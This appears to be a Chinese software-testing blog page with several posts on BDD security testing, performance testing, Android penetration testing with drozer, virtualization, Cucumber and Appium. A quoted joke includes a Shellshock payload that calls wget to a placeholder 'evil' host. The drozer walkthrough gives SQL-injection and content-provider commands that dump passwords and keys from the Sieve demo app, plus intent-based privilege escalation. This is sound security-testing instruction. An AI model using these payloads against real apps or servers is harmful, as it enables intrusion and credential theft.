<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    qileilove

    blog已經(jīng)轉(zhuǎn)移至github,大家請(qǐng)?jiān)L問 http://qaseven.github.io/

    在開發(fā)流程中嵌入安全測(cè)試

     ContinuumSecurity創(chuàng)始人Stephen de Vries,在Velocity Europe 2014大會(huì)上提出了持續(xù)且可視化的安全測(cè)試的觀點(diǎn)。Stephen表示,那些在敏捷開發(fā)過程中用于將QA嵌入整個(gè)開發(fā)流程的方法和工具都能同樣的用于安全測(cè)試。BDD-Security是一個(gè)基于JBehave,且遵循Given-When-Then方法的安全測(cè)試框架。
      傳統(tǒng)的安全測(cè)試都遵循瀑布流程,也就是說安全團(tuán)隊(duì)總是在開發(fā)階段的末期才參與進(jìn)來,并且通常需要外部專家的幫助。在整個(gè)開發(fā)流程中,滲透測(cè)試總是被安排到很晚才做,使得為應(yīng)用做安全防范的任務(wù)尤其困難且復(fù)雜。Stephen認(rèn)為安全測(cè)試完全可以變得像QA一樣:每個(gè)人都對(duì)安全問題負(fù)責(zé);安全問題可以在更接近代碼的層面考慮;安全測(cè)試完全可以嵌入一個(gè)持續(xù)集成的開發(fā)過程中。
      為了論證QA和安全測(cè)試只有量的區(qū)別而沒有質(zhì)的區(qū)別,Stephen展示了C. Maartmann-Moe和Bill Sempf分別發(fā)布的推特:
      從QA的角度:
      QA工程師走進(jìn)一家酒吧,點(diǎn)了一杯啤酒;點(diǎn)了0杯啤酒;點(diǎn)了999999999杯啤酒;點(diǎn)了一只蜥蜴;點(diǎn)了-1杯啤酒;點(diǎn)了一個(gè)sfdeljknesv。
      從安全的角度:
      滲透測(cè)試工程師走進(jìn)一家酒吧,點(diǎn)了一杯啤酒;點(diǎn)了”>杯啤酒;點(diǎn)了’or 1=1-杯啤酒;點(diǎn)了() { :; }; wget -O /beers http://evil; /杯啤酒。  要將安全測(cè)試集成進(jìn)敏捷開發(fā)流程中,首先需要滿足的條件是:可見性,以便采取及時(shí)應(yīng)對(duì)措施并修補(bǔ);可測(cè)試性,以便于自動(dòng)化,比僅僅簡(jiǎn)單的掃描更有價(jià)值。Stephen發(fā)現(xiàn)BDD工具族就同時(shí)滿足了可見性及可測(cè)試性,因此他開始著手構(gòu)建BDD-Security安全測(cè)試框架。
      由于BDD-Security是基于JBehave構(gòu)建的,因此它使用BDD的標(biāo)準(zhǔn)說明語言Gherkin。一個(gè)BDD-Security測(cè)試場(chǎng)景如下:
      Scenario: Transmit authentication credentials over HTTPS
      Meta: @id auth_https
      Given the browser is configured to use an intercepting proxy
      And the proxy logs are cleared
      And the default user logs in with credentials from: users.table
      And the HTTP request-response containing the default credentials is inspected
      Then the protocol should be HTTPS
      BDD-Security用戶故事的編寫與通常做法不太一樣。BDD-Security說明頁面上寫著:
      本框架的架構(gòu)設(shè)計(jì)使得安全用例故事與應(yīng)用的特定導(dǎo)航邏輯相互獨(dú)立,這意味著同一個(gè)用戶故事僅需要做微小的改動(dòng)就能用在多個(gè)應(yīng)用中,有時(shí)甚至無需修改。
      這也說明BDD-Security框架認(rèn)為對(duì)許多應(yīng)用來說,有一系列安全需求都是普遍要滿足的。也就是說你只需寫代碼把已有的故事插入你的應(yīng)用——也就是導(dǎo)航邏輯中即可。當(dāng)然,必要的時(shí)候你也完全可以編寫自己的用戶故事。
      BDD-Security依賴于第三方安全測(cè)試工具來執(zhí)行具體的安全相關(guān)的行為,例如應(yīng)用掃描。這些工具有OWASP ZAP或Nessus等。
      Stephen還提到其它一些有類似功能的工具。如Zap-WebDriver就是一款更簡(jiǎn)單的工具,不喜歡BDD方式的人可以考慮采用它。Gauntlt與BDD-Security框架類似,同樣支持BDD,只是它使用的編程語言是Ruby。Mittn用Python編寫并且同樣也使用Gherkin。

    posted @ 2015-03-18 22:10 順其自然EVO 閱讀(3303) | 評(píng)論 (0)編輯 收藏

    如何進(jìn)行Web服務(wù)的性能測(cè)試?

      隨著瀏覽器功能的不斷完善,用戶量不斷的攀升,涉及到web服務(wù)的功能在不斷的增加,對(duì)于我們測(cè)試來說,我們不僅要保證服務(wù)端功能的正確性,也要驗(yàn)證服務(wù)端程序的性能是否符合要求。那么性能測(cè)試都要做些什么呢?我們?cè)撛鯓舆M(jìn)行性能測(cè)試呢?
      性能測(cè)試一般會(huì)圍繞以下這些問題而進(jìn)行:
      1. 什么情況下需要做性能測(cè)試?
      2. 什么時(shí)候做性能測(cè)試?
      3. 做性能測(cè)試需要準(zhǔn)備哪些內(nèi)容?
      4. 什么樣的性能指標(biāo)是符合要求的?
      5. 性能測(cè)試需要收集的數(shù)據(jù)有哪些?
      6. 怎樣收集這些數(shù)據(jù)?
      7. 如何分析收集到的數(shù)據(jù)?
      8. 如何給出性能測(cè)試報(bào)告?
      性能測(cè)試的執(zhí)行過程及要做的事兒主要包含以下內(nèi)容:
      1. 測(cè)試評(píng)估階段
      在這個(gè)階段,我們要評(píng)估被測(cè)的產(chǎn)品是否要進(jìn)行性能測(cè)試,并且對(duì)目前的服務(wù)器環(huán)境進(jìn)行粗估,服務(wù)的性能是否滿足條件。
      首先要明確只要涉及到準(zhǔn)備上線的服務(wù)端產(chǎn)品,就需要進(jìn)行性能測(cè)試。其次如果產(chǎn)品需求中明確提到了性能指標(biāo),那也必須要做性能測(cè)試。
      測(cè)試人員在進(jìn)行性能測(cè)試前,需要根據(jù)當(dāng)前的收集到的各種信息,預(yù)先做性能的評(píng)估,收集的內(nèi)容主要包括帶寬、請(qǐng)求包大小、并發(fā)用戶數(shù)和當(dāng)前web服務(wù)的帶寬等
      2. 測(cè)試準(zhǔn)備階段
      在這個(gè)階段,我們要了解以下內(nèi)容:
      a. 服務(wù)器的架構(gòu)是什么樣的,例如:web服務(wù)器是什么?是如何配置的?數(shù)據(jù)庫用的是什么?服務(wù)用的是什么語言編寫的?;
      b. 服務(wù)端功能的內(nèi)部邏輯實(shí)現(xiàn);
      c. 服務(wù)端與數(shù)據(jù)庫是如何交互的,例如:數(shù)據(jù)庫的表結(jié)構(gòu)是什么樣的?服務(wù)端功能是怎樣操作數(shù)據(jù)庫的?
      d. 服務(wù)端與客戶端之間是如何進(jìn)行交互的,即接口定義;
      通過收集以上信息,測(cè)試人員整理出服務(wù)器端各模塊之間的交互圖,客戶端與服務(wù)端之間的交互圖以及服務(wù)端內(nèi)部功能邏輯實(shí)現(xiàn)的流程圖。
      e. 該服務(wù)上線后的用戶量預(yù)估是多少,如果無法評(píng)估出用戶量,那么可以通過設(shè)計(jì)測(cè)試執(zhí)行的場(chǎng)景得出這個(gè)值;
      f. 上線要部署到多少臺(tái)機(jī)器上,每臺(tái)機(jī)器的負(fù)載均衡是如何設(shè)計(jì)的,每臺(tái)機(jī)器的配置什么樣的,網(wǎng)絡(luò)環(huán)境是什么樣的。
      g. 了解測(cè)試環(huán)境與線上環(huán)境的不同,例如網(wǎng)絡(luò)環(huán)境、硬件配置等
      h. 制定測(cè)試執(zhí)行的策略,是需要驗(yàn)證需求中的指標(biāo)能否達(dá)到,還是評(píng)估系統(tǒng)的最大處理能力。
      i. 溝通上線的指標(biāo)
      通過收集以上信息,確定性能測(cè)試用例該如何設(shè)計(jì),如何設(shè)計(jì)性能測(cè)試用例執(zhí)行的場(chǎng)景,以及上線指標(biāo)的評(píng)估。
      3. 測(cè)試設(shè)計(jì)階段
      根據(jù)測(cè)試人員通過之前整理的交互圖和流程圖,設(shè)計(jì)相應(yīng)的性能測(cè)試用例。性能測(cè)試用例主要分為預(yù)期目標(biāo)用戶測(cè)試,用戶并發(fā)測(cè)試,疲勞強(qiáng)度與大數(shù)量測(cè)試,網(wǎng)絡(luò)性能測(cè)試,服務(wù)器性能測(cè)試,具體編寫的測(cè)試用例要更具實(shí)際情況進(jìn)行裁減。
      用例編寫的步驟大致分為:
      a. 通過腳本模擬單一用戶是如何使用這個(gè)web服務(wù)的。這里模擬的可以是用戶使用web服務(wù)的某一個(gè)動(dòng)作或某幾個(gè)動(dòng)作,某一個(gè)功能或幾個(gè)功能,也可以是使用web服務(wù)的整個(gè)過程。
      b. 根據(jù)客戶端的實(shí)際情況和服務(wù)器端的策略,通過將腳本中可變的數(shù)據(jù)進(jìn)行參數(shù)化,來模擬多個(gè)用戶的操作。
      c. 驗(yàn)證參數(shù)化后腳本功能的正確性。
      d. 添加檢查點(diǎn)
      e. 設(shè)計(jì)腳本執(zhí)行的策略,如每個(gè)功能的執(zhí)行次數(shù),各個(gè)功能的執(zhí)行順序等
      4. 測(cè)試執(zhí)行階段
      根據(jù)客戶端的產(chǎn)品行為設(shè)計(jì)web服務(wù)的測(cè)試執(zhí)行場(chǎng)景及測(cè)試執(zhí)行的過程,即測(cè)試執(zhí)行期間發(fā)生的事兒。通過監(jiān)控程序收集web服務(wù)的性能數(shù)據(jù)和web服務(wù)所在系統(tǒng)的性能數(shù)據(jù)。
      在測(cè)試執(zhí)行過程中,還要不斷的關(guān)注以下內(nèi)容:
      a. web服務(wù)的連接速度如何?
      b. 每秒的點(diǎn)擊數(shù)如何?
      c. Web服務(wù)能允許多少個(gè)用戶同時(shí)在線?
      d. 如果超過了這個(gè)數(shù)量,會(huì)出現(xiàn)什么現(xiàn)象?
      e. Web服務(wù)能否處理大量用戶對(duì)同一個(gè)頁面的請(qǐng)求?
      f. 如果web服務(wù)崩潰,是否會(huì)自動(dòng)恢復(fù)?
      g. 系統(tǒng)能否同一時(shí)間響應(yīng)大量用戶的請(qǐng)求?
      h. 打壓機(jī)的系統(tǒng)負(fù)載狀態(tài)。
      5. 測(cè)試分析階段
      將收集到的數(shù)據(jù)制成圖表,查看各指標(biāo)的性能變化曲線,結(jié)合之前確定的上線指標(biāo),對(duì)各項(xiàng)數(shù)據(jù)進(jìn)行分析,已確定是否繼續(xù)對(duì)web服務(wù)進(jìn)行測(cè)試,結(jié)果是否達(dá)到了期望值。
      6. 測(cè)試驗(yàn)證階段
      在開發(fā)針對(duì)發(fā)現(xiàn)的性能問題進(jìn)行修復(fù)后,要再執(zhí)行性能測(cè)試的用例對(duì)問題進(jìn)行驗(yàn)證。這里需要關(guān)注的是開發(fā)在解決問題的同時(shí)可能無意中修改了某些功能,所以在驗(yàn)證性能的同時(shí),也要關(guān)注原有功能是否受到了影響

    posted @ 2015-03-18 22:08 順其自然EVO 閱讀(3073) | 評(píng)論 (1)編輯 收藏

    利用drozer進(jìn)行Android滲透測(cè)試

     一、安裝與啟動(dòng)
      1. 安裝
      第一步:從http://mwr.to/drozer下載Drozer (Windows Installer)
      第二步:在Android設(shè)備中安裝agent.apk
      adb install agent.apk
      2. 啟動(dòng)
      第一步:在PC上使用adb進(jìn)行端口轉(zhuǎn)發(fā),轉(zhuǎn)發(fā)到Drozer使用的端口31415
      adb forward tcp:31415 tcp:31415
      第二步:在Android設(shè)備上開啟Drozer Agent
      選擇embedded server-enable
      第三步:在PC上開啟Drozer console
      drozer console connect
      二、測(cè)試步驟
      1.獲取包名
      dz> run app.package.list -f sieve
      com.mwr.example.sieve
      2.獲取應(yīng)用的基本信息
      run app.package.info -a com.mwr.example.sieve
      3.確定攻擊面
      run app.package.attacksurface com.mwr.example.sieve
      4.Activity
      (1)獲取activity信息
      run app.activity.info -a com.mwr.example.sieve
      (2)啟動(dòng)activity
      run app.activity.start --component com.mwr.example.sieve
      dz> help app.activity.start
      usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
      [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
      [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
      [--mimetype MIMETYPE]
      5.Content Provider
      (1)獲取Content Provider信息
      run app.provider.info -a com.mwr.example.sieve
      (2)Content Providers(數(shù)據(jù)泄露)
      先獲取所有可以訪問的Uri:
      run scanner.provider.finduris -a com.mwr.example.sieve
      獲取各個(gè)Uri的數(shù)據(jù):
      run app.provider.query
      content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
      查詢到數(shù)據(jù)說明存在漏洞
      (3)Content Providers(SQL注入)
      run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
      run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
      報(bào)錯(cuò)則說明存在SQL注入。
      列出所有表:
      run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
      獲取某個(gè)表(如Key)中的數(shù)據(jù):
      run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
      (4)同時(shí)檢測(cè)SQL注入和目錄遍歷
      run scanner.provider.injection -a com.mwr.example.sieve
      run scanner.provider.traversal -a com.mwr.example.sieve
      6 intent組件觸發(fā)(拒絕服務(wù)、權(quán)限提升)
      利用intent對(duì)組件的觸發(fā)一般有兩類漏洞,一類是拒絕服務(wù),一類的權(quán)限提升。拒絕服務(wù)危害性比較低,更多的只是影響應(yīng)用服務(wù)質(zhì)量;而權(quán)限提升將使得沒有該權(quán)限的應(yīng)用可以通過intent觸發(fā)擁有該權(quán)限的應(yīng)用,從而幫助其完成越權(quán)行為。
      1.查看暴露的廣播組件信息:
      run app.broadcast.info -a com.package.name  獲取broadcast receivers信息
      run app.broadcast.send --component 包名 --action android.intent.action.XXX
      2.嘗試拒絕服務(wù)攻擊檢測(cè),向廣播組件發(fā)送不完整intent(空action或空extras):
      run app.broadcast.send 通過intent發(fā)送broadcast receiver
      (1)   空action
      run app.broadcast.send --component 包名 ReceiverName
      run app.broadcast.send --component 包名 ReceiverName
      (2)   空extras
      run app.broadcast.send --action android.intent.action.XXX
      3.嘗試權(quán)限提升
      權(quán)限提升其實(shí)和拒絕服務(wù)很類似,只不過目的變成構(gòu)造更為完整、更能滿足程序邏輯的intent。由于activity一般多于用戶交互有關(guān),所以基 于intent的權(quán)限提升更多針對(duì)broadcast receiver和service。與drozer相關(guān)的權(quán)限提升工具,可以參考IntentFuzzer,其結(jié)合了drozer以及hook技術(shù),采用 feedback策略進(jìn)行fuzzing。以下僅僅列舉drozer發(fā)送intent的命令:
      (1)獲取service詳情
      run app.service.info -a com.mwr.example.sieve
      不使用drozer啟動(dòng)service
      am startservice –n 包名/service名
      (2)權(quán)限提升
      run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
      7.文件操作
      列出指定文件路徑里全局可寫/可讀的文件
      run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
      run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
      run app.broadcast.send --component 包名 --action android.intent.action.XXX
      8.其它模塊
      shell.start 在設(shè)備上開啟一個(gè)交互shell
      tools.file.upload / tools.file.download 上傳/下載文件到設(shè)備
      tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進(jìn)制文件

    posted @ 2015-03-18 22:06 順其自然EVO 閱讀(5995) | 評(píng)論 (0)編輯 收藏

    在服務(wù)器虛擬化架構(gòu)中有哪些技術(shù)功能和益處

    關(guān)于服務(wù)器虛擬化的概念,業(yè)界有不同的定義,但其核心是一致的,即它是一種方法,能夠在整合多個(gè)應(yīng)用服務(wù)的同時(shí),通過區(qū)分應(yīng)用服務(wù)的優(yōu)先次序?qū)⒎?wù)器資源分配給最需要它們的工作負(fù)載來簡(jiǎn)化管理和提高效率。其主要功能包括以下四個(gè)方面:
      集成整合功能。虛擬化服務(wù)器主要是由物理服務(wù)器和虛擬化程序構(gòu)成的,通過把一臺(tái)物理服務(wù)器劃分為多個(gè)虛擬機(jī),或者把若干個(gè)分散的物理服務(wù)器虛擬為一個(gè)整體邏輯服務(wù)器,從而將多個(gè)操作系統(tǒng)和應(yīng)用服務(wù)整合到強(qiáng)大的虛擬化架構(gòu)上。
      動(dòng)態(tài)遷移功能。這里所說的動(dòng)態(tài)遷移主要是指V2V(虛擬機(jī)到虛擬機(jī)的遷移)技術(shù)。具體來講,當(dāng)某一個(gè)服務(wù)器因故障停機(jī)時(shí),其承載的虛擬機(jī)可以自動(dòng)切換到另一臺(tái)虛擬服務(wù)器,而在整個(gè)過程中應(yīng)用服務(wù)不會(huì)中斷,實(shí)現(xiàn)系統(tǒng)零宕機(jī)在線遷移。
      資源分配功能。虛擬化架構(gòu)技術(shù)中引入了動(dòng)態(tài)資源調(diào)度技術(shù),系統(tǒng)將所有虛擬服務(wù)器作為一個(gè)整體資源統(tǒng)一進(jìn)行管理,并按實(shí)際需求自動(dòng)進(jìn)行動(dòng)態(tài)資源調(diào)配,在保證系統(tǒng)穩(wěn)定運(yùn)行的前提下,實(shí)現(xiàn)資源利用最大化。
      強(qiáng)大的管理控制界面。通過可視化界面實(shí)時(shí)監(jiān)控物理服務(wù)器以及各虛擬機(jī)的運(yùn)行情況,實(shí)現(xiàn)對(duì)全部虛擬資源的管理、維護(hù)及部署等操作。
      服務(wù)器虛擬化的益處
      采用服務(wù)器虛擬化技術(shù)的益處主要表現(xiàn)在以下幾個(gè)方面。
      節(jié)省采購(gòu)費(fèi)用。通過虛擬化技術(shù)對(duì)應(yīng)用服務(wù)器進(jìn)行整合,可以大幅縮減企業(yè)在采購(gòu)環(huán)節(jié)的開支,在硬件環(huán)節(jié)可以為企業(yè)節(jié)省34%~80%的采購(gòu)成本。
      同時(shí),還可以節(jié)省軟件采購(gòu)費(fèi)用。軟件許可成本是企業(yè)不可忽視的重要支出。而隨著微軟、紅帽等軟件巨頭的加入,虛擬化架構(gòu)技術(shù)在軟件成本上的優(yōu)勢(shì)也逐漸得以體現(xiàn)。
      降低系統(tǒng)運(yùn)行維護(hù)成本。由于虛擬化在整合服務(wù)器的同時(shí)采用了更為出色的管理工具,減少了管理維護(hù)人員在網(wǎng)絡(luò)、線路、軟硬件維護(hù)方面的工作量,信息部門得以從傳統(tǒng)的維護(hù)管理工作中解放出來,將更多的時(shí)間和精力用于推動(dòng)創(chuàng)新工作和業(yè)務(wù)增長(zhǎng)等活動(dòng),這也為企業(yè)帶來了利益。
      通過虛擬化技術(shù)可以減少物理服務(wù)器的數(shù)量,這就意味著企業(yè)機(jī)房耗電量、散熱量的降低,同時(shí)還為企業(yè)節(jié)省了空調(diào)、機(jī)房配套設(shè)備的改造升級(jí)費(fèi)用。
      提高資源利用率。保障業(yè)務(wù)系統(tǒng)的快速部署是信息化工作的一項(xiàng)重要指標(biāo),而傳統(tǒng)模式中服務(wù)器的采購(gòu)安裝周期較長(zhǎng),一定程度上限制了系統(tǒng)部署效率。利用虛擬化技術(shù),可以快速搭建虛擬系統(tǒng)平臺(tái),大幅縮減部署籌備時(shí)間,提高工作效率。
      由于虛擬化服務(wù)器具有動(dòng)態(tài)資源分配功能,因此當(dāng)一臺(tái)虛擬機(jī)的應(yīng)用負(fù)載趨于飽和時(shí),系統(tǒng)會(huì)根據(jù)之前定義的分配規(guī)則自動(dòng)進(jìn)行資源調(diào)配。根據(jù)大部分虛擬化技術(shù)廠商提供的數(shù)據(jù)指標(biāo)來看,通過虛擬化整合服務(wù)器后,資源平均利用率可以從5%~15%提高到60%~80%。
      提高系統(tǒng)的安全性。傳統(tǒng)服務(wù)器硬件維護(hù)通常需要數(shù)天的籌備期和數(shù)小時(shí)的維護(hù)窗口期。而在虛擬化架構(gòu)技術(shù)環(huán)境下,服務(wù)器遷移只需要幾秒鐘的時(shí)間。由于遷移過程中服務(wù)沒有中斷,管理員無須申請(qǐng)系統(tǒng)停機(jī),在降低管理維護(hù)工作量的同時(shí),提高系統(tǒng)運(yùn)行連續(xù)性。
      目前虛擬化主流技術(shù)廠商均在其虛擬化平臺(tái)中引入數(shù)據(jù)快照以及虛擬存儲(chǔ)等安全機(jī)制,因此在數(shù)據(jù)安全等級(jí)和系統(tǒng)容災(zāi)能力方面,較原有單機(jī)運(yùn)行模式有了較大提高。

    目前 我司正在應(yīng)用aws 確實(shí)很不錯(cuò),節(jié)省成本 服務(wù)穩(wěn)定,比什么阿里云 強(qiáng)了不知道多少倍

    posted @ 2015-03-18 22:03 順其自然EVO 閱讀(1870) | 評(píng)論 (1)編輯 收藏

    閱讀《測(cè)試用例指南》筆記

    1.測(cè)試用例 :分有基本流和備選流。
      2.要先確定測(cè)試用例描述,再在測(cè)試用例 實(shí)施矩陣中確定相應(yīng)的測(cè)試用例數(shù)據(jù)。
      3.從補(bǔ)充規(guī)約中生成測(cè)試用例
      (1)為性能測(cè)試生成測(cè)試用例
      (2)為安全性/訪問控制測(cè)試生成測(cè)試用例
      關(guān)鍵:先指定執(zhí)行用例的主角
      (3)為配置測(cè)試生成測(cè)試用例
      主要是為了核實(shí)測(cè)試目標(biāo)在不同的配置情況下(如不同的OS,Browser,CPU速度等)是否能正常 地 工作或執(zhí)行。
      針對(duì)第個(gè)關(guān)鍵配置,每個(gè)可能有問題的配置都至少應(yīng)該有一個(gè)測(cè)試用例。
      (4)為安裝測(cè)試生成測(cè)試用例
      a.需要對(duì)以下各種安裝情況設(shè)計(jì)測(cè)試用例:
      分發(fā)介質(zhì)(如磁盤,CD-ROM和文件服務(wù)器)
      首次安裝
      完全安裝
      自定義安裝
      升級(jí)安裝
      b.測(cè)試目標(biāo)應(yīng)包括所有構(gòu)件的安裝
      客戶機(jī),中間層,服務(wù)器
      (5)為其他非功能性測(cè)試生成測(cè)試用例
      如操作測(cè)試,對(duì)性能瓶頸,系統(tǒng)容量或測(cè)試目標(biāo)的強(qiáng)度承受能力進(jìn)行調(diào)查的測(cè)試用例
      4.在白盒測(cè)試黑盒測(cè)試的同時(shí)都應(yīng)該進(jìn)行可靠性測(cè)試。
      5.為產(chǎn)品驗(yàn)收測(cè)試生成測(cè)試用例
      6.為回歸測(cè)試編制測(cè)試用例
      a.回歸測(cè)試是比較同一測(cè)試目標(biāo)的兩個(gè)版本或版本,并將將差異確定為潛在的缺陷。
      b.為使測(cè)試用例發(fā)揮回歸測(cè)試和復(fù)用的價(jià)值,同時(shí)將維護(hù)成本減至最低,應(yīng):
      確保測(cè)試用例只確定關(guān)鍵的數(shù)據(jù)元素(創(chuàng)建/支持被測(cè)試的條件支持的測(cè)上試用例)
      確保每個(gè)測(cè)試用例都說明或代表一個(gè)唯一的輸入集或事件序列,其結(jié)果是獨(dú)特的測(cè)試目標(biāo)行為
      消除多余或等效的測(cè)試用例
      將具有相同的測(cè)試目標(biāo)初始狀態(tài)和測(cè)試數(shù)據(jù)狀態(tài)的測(cè)試用例組合在一起

    posted @ 2015-03-18 22:00 順其自然EVO 閱讀(1803) | 評(píng)論 (0)編輯 收藏

    行為驅(qū)動(dòng)開發(fā): Cucumber的目錄結(jié)構(gòu)和執(zhí)行過程

    行為驅(qū)動(dòng)開發(fā): Cucumber的目錄結(jié)構(gòu)和執(zhí)行過程

          Cucumber是Ruby世界的BDD框架,開發(fā)人員主要與兩類文件打交到,F(xiàn)eature文件和相應(yīng)的Step文件。Feature文件是以feature為后綴名的文件,以Given-When-Then的方式描述了系統(tǒng)的場(chǎng)景(scenarios)行為;Step文件為普通的Ruby文件,F(xiàn)eature文件中的每個(gè)Given/When/Then步驟在Step文件中都有對(duì)應(yīng)的Ruby執(zhí)行代碼,兩類文件通過正則表達(dá)式相關(guān)聯(lián)。筆者在用Cucumber+Watir做回歸測(cè)試時(shí)對(duì)Cucumber工程的目錄結(jié)構(gòu)執(zhí)行過程進(jìn)行了研究。

    安裝好Cucumber后,如果在終端直接執(zhí)行cucumber命令,得到以下輸出:

    輸出結(jié)果表明:cucumber期待當(dāng)前目錄下存在名為features的子目錄。建好features文件夾后,重新執(zhí)行cucumber命令,輸出如下:

    Cucumber運(yùn)行成功,但由于features文件夾下沒有任何內(nèi)容,故得到上述輸出結(jié)果。

    網(wǎng)上大多數(shù)關(guān)于Cucumber的教程都建議采用以下目錄結(jié)構(gòu),所有的文件(夾)都位于features文件夾下。

    Feature文件(如test.feature)直接位于features文件夾下,可以為每個(gè)應(yīng)用場(chǎng)景創(chuàng)建一個(gè)Feature文件;與Feature文件對(duì)應(yīng)的Step文件(如test.rb)位于step_definitions子文件夾下;同時(shí),存在support子文件夾,其下的env.rb文件為環(huán)境配置文件。在這樣的目錄結(jié)構(gòu)條件下執(zhí)行cucumber命令,會(huì)首先執(zhí)行env.rb做前期準(zhǔn)備工作,比如可以用Watir新建瀏覽器窗口,然后Cucumber將test.rb文件讀入內(nèi)存,最后執(zhí)行test.feature文件,當(dāng)遇到Given/When/Then步驟時(shí),Cucumber將在test.rb中搜索是否有相應(yīng)的step,如果有,則執(zhí)行相應(yīng)的Ruby代碼。

    這樣的目錄結(jié)構(gòu)只是推薦的目錄結(jié)構(gòu),筆者通過反復(fù)的試驗(yàn)得出了以下結(jié)論:對(duì)于Cucumber而言,除了頂層的features文件夾是強(qiáng)制性的之外,其它目錄結(jié)構(gòu)都不是強(qiáng)制性的,Cucumber將對(duì)features文件夾下的所有內(nèi)容進(jìn)行扁平化(flatten)處理和首字母排序。具體來說,Cucumber在運(yùn)行時(shí),首先將遞歸的執(zhí)行features文件夾下的所有Ruby文件(其中則包括Step文件),然后通過相同的方式執(zhí)行Feature文件。但是,如果features文件夾下存在support子文件夾,并且support下有名為env.rb的文件,Cucumber將首先執(zhí)行該文件,然后執(zhí)行support下的其它文件,再遞歸執(zhí)行featues下的其它文件。

    比如有如下Cucumber目錄結(jié)構(gòu):

    為了方便記錄Cucumber運(yùn)行時(shí)的文件執(zhí)行順序,在features文件夾下的所有Ruby文件中加上以下代碼:

    puts File.basename(__FILE__)

    此行代碼的作用是在一個(gè)Ruby文件執(zhí)行時(shí)輸出該文件的名字,此時(shí)執(zhí)行cucumber命令,得到以下輸出(部分)結(jié)果:

    上圖即為Ruby文件的執(zhí)行順序,可以看出,support文件夾下env.rb文件首先被執(zhí)行,其次按照字母排序執(zhí)行c.rb和d.rb;接下來,Cucumber將features文件夾下的所用文件(夾)扁平化,并按字母順序排序,從而先執(zhí)行a.rb和b.rb,而由于other文件夾排在step_definitions文件夾的前面,所以先執(zhí)行other文件夾下的Ruby文件(也是按字母順序執(zhí)行:先f.rb,然后g.rb),最后執(zhí)行step_definitions下的e.rb。

    當(dāng)執(zhí)行完所有Ruby文件后,Cucumber開始依次讀取Feature文件,執(zhí)行順序也和前述一樣,即: a.feature --> b.feature --> c.feature

    筆者還發(fā)現(xiàn),這些Ruby文件甚至可以位于features文件夾之外的任何地方,只是需要在位于features文件夾之內(nèi)的Ruby文件中require一下,比如在env.rb中。

    posted @ 2014-12-28 01:29 順其自然EVO 閱讀(2481) | 評(píng)論 (0)編輯 收藏

    Appium Android Bootstrap之控件AndroidElement

    AndroidElementHash的這個(gè)getElement命令要做的事情就是針對(duì)這兩點(diǎn)來根據(jù)不同情況獲得目標(biāo)控件
    /**
    * Return an elements child given the key (context id), or uses the selector
    * to get the element.
    *
    * @param sel
    * @param key
    *          Element id.
    * @return {@link AndroidElement}
    * @throws ElementNotFoundException
    */
    public AndroidElement getElement(final UiSelector sel, final String key)
    throws ElementNotFoundException {
    AndroidElement baseEl;
    baseEl = elements.get(key);
    UiObject el;
    if (baseEl == null) {
    el = new UiObject(sel);
    } else {
    try {
    el = baseEl.getChild(sel);
    } catch (final UiObjectNotFoundException e) {
    throw new ElementNotFoundException();
    }
    }
    if (el.exists()) {
    return addElement(el);
    } else {
    throw new ElementNotFoundException();
    }
    }
      如果是第1種情況就直接通過選擇子構(gòu)建UiObject對(duì)象,然后通過addElement把UiObject對(duì)象轉(zhuǎn)換成AndroidElement對(duì)象保存到控件哈希表
      如果是第2種情況就先根據(jù)appium傳過來的控件哈希表鍵值獲得父控件,再通過子控件的選擇子在父控件的基礎(chǔ)上查找到目標(biāo)UiObject控件,最后跟上面一樣把該控件通過上面的addElement把UiObject控件轉(zhuǎn)換成AndroidElement控件對(duì)象保存到控件哈希表
      4. 求證
      上面有提過,如果pc端的腳本執(zhí)行對(duì)同一個(gè)控件的兩次findElement會(huì)創(chuàng)建兩個(gè)不同id的AndroidElement并存放到控件哈希表中,那么為什么appium的團(tuán)隊(duì)沒有做一個(gè)增強(qiáng),增加一個(gè)keyMap的方法(算法)和一些額外的信息來讓同一個(gè)控件使用不同的key的時(shí)候?qū)?yīng)的還是同一個(gè)AndroidElement控件呢?畢竟這才是哈希表實(shí)用的特性之一了,不然你直接用一個(gè)Dictionary不就完事了?網(wǎng)上說了幾點(diǎn)hashtable和dictionary的差別,如多線程環(huán)境最好使用哈希表而非字典等,但在bootstrap這個(gè)控件哈希表的情況下我不是很信服這些說法,有誰清楚的還勞煩指點(diǎn)一二了
      這里至于為什么appium不去提供額外的key信息并且實(shí)現(xiàn)keyMap算法,我個(gè)人倒是認(rèn)為有如下原因:
      有誰這么無聊在同一個(gè)測(cè)試方法中對(duì)同一個(gè)控件查找兩次?
      如果同一個(gè)控件運(yùn)用不同的選擇子查找兩次的話,因?yàn)樽罱K底層的UiObject的成員變量UiSelector mSelector不一樣,所以確實(shí)可以認(rèn)為是不同的控件
      但以下兩個(gè)如果用同樣的UiSelector選擇子來查找控件的情況我就解析不了了,畢竟在我看來bootstrap這邊應(yīng)該把它們看成是同一個(gè)對(duì)象的:
      同一個(gè)腳本不同的方法中分別對(duì)同一控件用同樣的UiSelelctor選擇子進(jìn)行查找呢?
      不同腳本中呢?
      這些也許在今后深入了解中得到解決,但看家如果知道的,還望不吝賜教
      5. 小結(jié)
      最后我們對(duì)bootstrap的控件相關(guān)知識(shí)點(diǎn)做一個(gè)總結(jié)
      AndroidElement的一個(gè)實(shí)例代表了一個(gè)bootstrap的控件
      AndroidElement控件的成員變量UiObject el代表了uiautomator框架中的一個(gè)真實(shí)窗口控件,通過它就可以直接透過uiautomator框架對(duì)控件進(jìn)行實(shí)質(zhì)性操作
